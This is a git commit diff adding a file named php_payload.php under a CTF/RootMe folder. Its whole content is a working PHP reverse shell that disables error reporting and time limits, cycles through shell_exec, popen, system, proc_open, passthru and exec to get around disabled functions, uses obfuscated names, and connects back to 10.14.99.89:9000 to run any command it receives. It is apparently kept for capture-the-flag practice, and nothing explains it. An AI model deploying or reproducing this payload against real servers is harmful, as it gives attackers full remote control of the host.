initial commit

2025-12-04 09:57:17 +01:00
commit 0054cc02b1
4851 changed files with 4416257 additions and 0 deletions
--- a/CTF/RootMe/php_payload.php%20
+++ b/CTF/RootMe/php_payload.php%20
@@ -0,0 +1,107 @@
+    /*<?php /**/
+@error_reporting(0);@set_time_limit(0);@ignore_user_abort(1);@ini_set('max_execution_time',0);
+$dis=@ini_get('disable_functions');
+if(!empty($dis)){
+  $dis=preg_replace('/[, ]+/',',',$dis);
+  $dis=explode(',',$dis);
+  $dis=array_map('trim',$dis);
+}else{
+  $dis=array();
+}
+
+    $ipaddr='10.14.99.89';
+    $port=9000;
+
+    if(!function_exists('pzjxZDKTJvG')){
+      function pzjxZDKTJvG($c){
+        global $dis;
+        if (FALSE!==stristr(PHP_OS,'win')){
+  $c=$c." 2>&1\n";
+}
+$Oke5Jb7CLULK='is_callable';
+$EySPGE='in_array';
+if($Oke5Jb7CLULK('shell_exec')&&!$EySPGE('shell_exec',$dis)){
+  $o=`$c`;
+}else
+if($Oke5Jb7CLULK('popen')&&!$EySPGE('popen',$dis)){
+  $fp=popen($c,'r');
+  $o=NULL;
+  if(is_resource($fp)){
+    while(!feof($fp)){
+      $o.=fread($fp,1024);
+    }
+  }
+  @pclose($fp);
+}else
+if($Oke5Jb7CLULK('system')&&!$EySPGE('system',$dis)){
+  ob_start();
+  system($c);
+  $o=ob_get_contents();
+  ob_end_clean();
+}else
+if($Oke5Jb7CLULK('proc_open')&&!$EySPGE('proc_open',$dis)){
+  $handle=proc_open($c,array(array('pipe','r'),array('pipe','w'),array('pipe','w')),$pipes);
+  $o=NULL;
+  while(!feof($pipes[1])){
+    $o.=fread($pipes[1],1024);
+  }
+  @proc_close($handle);
+}else
+if($Oke5Jb7CLULK('passthru')&&!$EySPGE('passthru',$dis)){
+  ob_start();
+  passthru($c);
+  $o=ob_get_contents();
+  ob_end_clean();
+}else
+if($Oke5Jb7CLULK('exec')&&!$EySPGE('exec',$dis)){
+  $o=array();
+  exec($c,$o);
+  $o=join(chr(10),$o).chr(10);
+}else
+{
+  $o=0;
+}
+
+        return $o;
+      }
+    }
+    $nofuncs='no exec functions';
+    if(is_callable('fsockopen')and!in_array('fsockopen',$dis)){
+      $s=@fsockopen("tcp://10.14.99.89",$port);
+      while($c=fread($s,2048)){
+        $out = '';
+        if(substr($c,0,3) == 'cd '){
+          chdir(substr($c,3,-1));
+        } else if (substr($c,0,4) == 'quit' || substr($c,0,4) == 'exit') {
+          break;
+        }else{
+          $out=pzjxZDKTJvG(substr($c,0,-1));
+          if($out===false){
+            fwrite($s,$nofuncs);
+            break;
+          }
+        }
+        fwrite($s,$out);
+      }
+      fclose($s);
+    }else{
+      $s=@socket_create(AF_INET,SOCK_STREAM,SOL_TCP);
+      @socket_connect($s,$ipaddr,$port);
+      @socket_write($s,"socket_create");
+      while($c=@socket_read($s,2048)){
+        $out = '';
+        if(substr($c,0,3) == 'cd '){
+          chdir(substr($c,3,-1));
+        } else if (substr($c,0,4) == 'quit' || substr($c,0,4) == 'exit') {
+          break;
+        }else{
+          $out=pzjxZDKTJvG(substr($c,0,-1));
+          if($out===false){
+            @socket_write($s,$nofuncs);
+            break;
+          }
+        }
+        @socket_write($s,$out,strlen($out));
+      }
+      @socket_close($s);
+    }